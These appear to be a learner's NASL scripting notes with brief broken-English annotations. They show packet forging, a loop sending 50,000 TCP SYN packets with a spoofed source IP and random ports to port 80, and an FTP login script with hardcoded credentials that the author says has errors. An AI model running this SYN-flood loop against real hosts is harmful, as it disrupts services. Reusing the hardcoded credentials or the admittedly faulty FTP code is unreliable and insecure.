ipp = forge_ip_packet(ip_p:6); <- ip_p => tcp
tpp = forge_tcp_packet(
ip:ipp,
th_dport:80
);
send_packet(tpp,pcap_active:FALSE); <-- pcap_active:FALSE => speed up
==============
ipp = forge_ip_packet(ip_p:6,ip_src:192.168.0.3);
for(i=1;i<=50000;i++)
{
tmp=rand()%40000;
display(i,"\r");
tpp = forge_tcp_packet(
ip:ipp,
th_flags:TH_SYN,
th_sport:tmp+10000,
th_dport:80
);
send_packet(tpp,pcap_active:FALSE);
}
============random port
ipp = forge_ip_packet(ip_p:6,ip_src:"192.168.0.3");for(i=1;i<=50000;i++)
{
tmp=rand()%40000;
display(i,"\r");
tpp = forge_tcp_packet(
ip:ipp,
th_flags:TH_SYN,
th_sport:tmp+10000,
th_dport:80
);
send_packet(tpp,pcap_active:FALSE);
}
grep rand a* <-- without reference, guid,, learning syntax
===============================
include("ftp_func.inc");
port = 21;
banner = get_ftp_banner(port:port);
display('\n',banner,'\n');
soc = open_sock_tcp(port);
if(! ftp_authenticate(socket:soc, user:"hisecure",
pass:"wjdqhqhdks")){
display("login failure\n");
exit(0);
}
port2 = ftp_pasv(socket:soc);
soc2 = open_sock_tcp(port2);
send(socket:soc, data:'LIST \r\n');
data = ftp_recv_line(socket:soc2);
display('------------------------------\n',date);
this source has errors,,,, you modify it.